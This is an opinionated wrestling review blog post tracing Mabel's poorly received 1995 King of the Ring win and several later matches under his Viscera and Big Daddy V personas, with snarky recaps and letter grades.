Oh great the referee went down after they both laid around for a few minutes. That means it’s going to go on even longer. Taker hits a chokeslam that was pretty good considering he was picking up a beached whale. Kama runs out and kicks him in the head and a legdrop sends Mabel to the finals, to meet the winner of Road Dogg and Savio Vega. I hate this show so much.

Rating: D+. This was just putting me to sleep. What was the point of this anyway? Seriously, Mabel and freaking SAVIO VEGA are going farther in this than Undertaker and Shawn Michaels. Does Vince really think that this is a good idea? Shawn vs. Diesel at Summerslam wouldn’t have been good? It just headlined Mania but it can’t be on Summerslam? This just needs to end now and have people come out from nowhere and say it was all a big joke then let us see the real show.

KOTR Finals: Mabel vs. Savio Vega

Smell those buyrates baby. The problem s instantly become apparent here: first of all, these two both suck and there was no logic at all behind pushing them as the focal points of the show. Second, the fans hate them. Neither guy gets anything resembling a good reaction either from a heel perspective or a face perspective. Third, how in the heck is Savio supposed to win here other than a fluke rollup or something like that?

This match again follows as basic of a formula as you could possibly imagine: Savio starts hot and Mabel knocks him down and goes into his basic moveset: punch, stomp, punch, bearhug, chinlock. Seriously, I just covered the first 8 minutes of a ten minute match. Savio of course gets some token jobber, because that’s what he is here in case you didn’t realize it, offense in including that pesky fluke rollup attempt.

Here’s the real point of this match as far as we’re concerned though. Just after the chinlock that nearly goes for a minute, the crowd turns on the match and start LOUDLY chanting ECW. It’s so loud that Vince actually acknowledges it. This wasn’t planned or anything, but it was so loud that Vince stopped his commentary, I think out of shock. He really and truly believed what he was putting out there was getting over, and sadly enough I would bet he blamed the wrestlers for the failure here.

Savio’s spin kick gets two, and it’s over soon thereafter. I know this was really short again, but honestly there’s just nothing at all to talk about for any ot these matches, period. It’s just so basic and phoned in that it’s sucking the life out of me. Razor gets beaten up and 1-2-3 Kid runs out and gets beaten up too. There was a tag match at the next In Your House that no one cared about either. Yes, Mabel joins Owen and Bret and eventually Stone Cold as KOTR winners.

Rating: D. Dang it just end this nonsense already! No one likes this stuff, no one cared about Mabel. No one cared about Savio. YOU HAD FREAKING SHAWN MICHAELS IN THIS FREAKING THING and you picked MABEL. Seriously, here’s your tournament: Shawn beats Kama and Mabel while Yoko beats Savio and gets the bye so he only wrestles twice. Shawn kicks him in the face and wins the tournament so the fans are happy.

Instead though, Vince has to decide what we like and tell us that Mabel is our new top heel, and shockingly, IT BOMBED. Mabel was complete and utter crap as a big heel and there’s no shock at all as to why. We had to watch Diesel vs. Mabel to main event the worst Summerslam of all time because Vince is fascinated with big men. At the same time we had Hogan vs. Giant in a monster truck match. Do you see why the NWO was considered a gift from God? DAng I hated this tournament.

The coronation might save this garbage though. It literally goes on for five minutes with bad music playing and Mo reading a proclamation. The only good part here are the fans, who are booing so loudly and chanting ECW so loudly that you can barely hear Mo. Savio comes up and gets pulled back, and the fans pelt both guys with garbage. No one bought this, plain and simple.

This win gave Mabel a World Title shot at Summerslam 1995.

WWF World Title: King Mabel vs. Diesel

Royals vs. Dark Side

King Mabel, Jerry Lawler, Hunter Hearst Helmsley, Isaac Yankem

Undertaker, Fatu, Henry Godwin, Savio Vega

Rating: D+. This whole match ran just under fifteen minutes and about two of those meant anything. Everything was waiting for Taker to come in and dominate, which he did quite well, but getting there was pretty dull stuff. This match is more fun for looking at what these people would become rather than what they are now. Taker would lose the mask soon enough thank goodness.

Kurt Angle vs. Viscera

Viscera would leave again in the summer and hit the indies for a few more years. He would return in 2004 as a jobber to the stars, including this match on November 1, 2004.

Shelton Benjamin vs. Viscera

Kane vs. Viscera

Kane runs into Viscera and bounces off of him. He kicks Viscera tot he floor and dives onto Visc to take over. The fans still want Matt. Back in and Viscera hits the wheel kick and we get a pelvic thrust. Kane goes after Trish for some reason but gets splashed and caught in a Samoan Drop for two. Sidewalk slam gets the same. Kane gets in a boot to the face and the top rope clothesline looks to set up the chokeslam, but Visc elbows out of it.

A clothesline puts Kane on the floor but Viscera runs into the post. Trish goes after Kane with a chair for some reason but Lita blasts her with a crutch (Lita had a bad knee). Back in Kane goes up but dives into a choke bomb for two. Lita gets in the ring for some reason and Visc tries to kiss her, but Kane comes back with a big boot and a chokslam for the pin.

ECW Title: Big Daddy V vs. CM Punk

Mark Henry/Big Daddy V vs. Kane/CM Punk

Punk is ECW Champion here and is having to stick and move against the monsters. Kane is here to help even out the size stuff. Punk vs. Henry to start us off. Punk fires off some kicks and then tries to pick up the leg because faces are idiots in this company. Off to Kane whose strikes do a bit better. He gets a shot to the knee and Henry is actually in trouble. Back to Punk who gets flattened by a clothesline.

Off to Big Daddy V and the girth of death. Punk gets sent to the floor where Striker, the manager of V, gets in a shot. Henry pounds on him for awhile until a corner splash misses. Moderately warm tag brings in Kane who cleans a few rooms. The Big Bald hits the top rope clothesline to put Henry down but V breaks up the chokeslam. Sitout chokebomb gets two for V. I thought it was tea for two and two for tea but whatever.

V pounds away while in whale humping position. He splashes Kane and it’s off to Henry for some bearhuggery. Better than buggery I suppose. V comes in for Kane to fire away but another fat boy clothesline takes him down. Kane channels his inner deadman and hits a running DDT to put both guys down (Henry in this case). Double tag brings in V and Punk and everything breaks down. Punk and V are alone in the ring so Punk tries the springboard clothesline. He lands in a Samoan Drop though and we’re done.

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